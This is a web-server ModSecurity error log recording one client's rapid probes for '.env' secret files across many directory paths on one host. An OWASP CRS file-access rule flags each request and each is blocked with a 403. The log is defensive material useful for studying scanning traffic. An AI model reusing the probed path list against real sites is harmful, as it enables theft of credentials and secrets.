[Sat Oct 24 06:02:31.643396 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bQAAAAY"]
[Sat Oct 24 06:02:31.643650 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bQAAAAY"]
[Sat Oct 24 06:02:31.644021 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bQAAAAY"]
[Sat Oct 24 06:02:31.729243 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bgAAAAY"]
[Sat Oct 24 06:02:31.729499 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bgAAAAY"]
[Sat Oct 24 06:02:31.729939 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bgAAAAY"]
[Sat Oct 24 06:02:31.730019 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "www.wapi1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bgAAAAY"]
[Sat Oct 24 06:02:31.730043 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "www.wapi1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bgAAAAY"]
[Sat Oct 24 06:02:31.821971 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bwAAAAY"]
[Sat Oct 24 06:02:31.822228 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bwAAAAY"]
[Sat Oct 24 06:02:31.822575 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-bwAAAAY"]
[Sat Oct 24 06:02:31.907850 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-cAAAAAY"]
[Sat Oct 24 06:02:31.908087 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-cAAAAAY"]
[Sat Oct 24 06:02:31.908425 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-cAAAAAY"]
[Sat Oct 24 06:02:31.999400 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-cQAAAAY"]
[Sat Oct 24 06:02:31.999636 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-cQAAAAY"]
[Sat Oct 24 06:02:32.000001 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "atyCNzOT1ZsOoHahaDY-cQAAAAY"]
[Sat Oct 24 06:02:32.088499 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "atyCODOT1ZsOoHahaDY-cgAAAAY"]
[Sat Oct 24 06:02:32.088733 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "atyCODOT1ZsOoHahaDY-cgAAAAY"]
[Sat Oct 24 06:02:32.089130 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "atyCODOT1ZsOoHahaDY-cgAAAAY"]
[Sat Oct 24 06:02:32.175525 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "atyCODOT1ZsOoHahaDY-cwAAAAY"]
[Sat Oct 24 06:02:32.175739 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "atyCODOT1ZsOoHahaDY-cwAAAAY"]
[Sat Oct 24 06:02:32.176072 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "atyCODOT1ZsOoHahaDY-cwAAAAY"]
[Sat Oct 24 06:02:32.260502 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "atyCODOT1ZsOoHahaDY-dAAAAAY"]
[Sat Oct 24 06:02:32.260738 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "atyCODOT1ZsOoHahaDY-dAAAAAY"]
[Sat Oct 24 06:02:32.261064 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "atyCODOT1ZsOoHahaDY-dAAAAAY"]
[Sat Oct 24 06:02:32.349110 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "atyCODOT1ZsOoHahaDY-dQAAAAY"]
[Sat Oct 24 06:02:32.349374 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "atyCODOT1ZsOoHahaDY-dQAAAAY"]
[Sat Oct 24 06:02:32.349710 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "atyCODOT1ZsOoHahaDY-dQAAAAY"]
[Sat Oct 24 06:02:32.436484 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "atyCODOT1ZsOoHahaDY-dgAAAAY"]
[Sat Oct 24 06:02:32.436798 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "atyCODOT1ZsOoHahaDY-dgAAAAY"]
[Sat Oct 24 06:02:32.437182 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "atyCODOT1ZsOoHahaDY-dgAAAAY"]
[Sat Oct 24 06:02:32.528334 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "atyCODOT1ZsOoHahaDY-dwAAAAY"]
[Sat Oct 24 06:02:32.528565 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "atyCODOT1ZsOoHahaDY-dwAAAAY"]
[Sat Oct 24 06:02:32.528882 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "atyCODOT1ZsOoHahaDY-dwAAAAY"]
[Sat Oct 24 06:02:32.612547 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "atyCODOT1ZsOoHahaDY-eAAAAAY"]
[Sat Oct 24 06:02:32.612794 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "atyCODOT1ZsOoHahaDY-eAAAAAY"]
[Sat Oct 24 06:02:32.613136 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "atyCODOT1ZsOoHahaDY-eAAAAAY"]
[Sat Oct 24 06:02:32.705601 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "atyCODOT1ZsOoHahaDY-eQAAAAY"]
[Sat Oct 24 06:02:32.705867 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "atyCODOT1ZsOoHahaDY-eQAAAAY"]
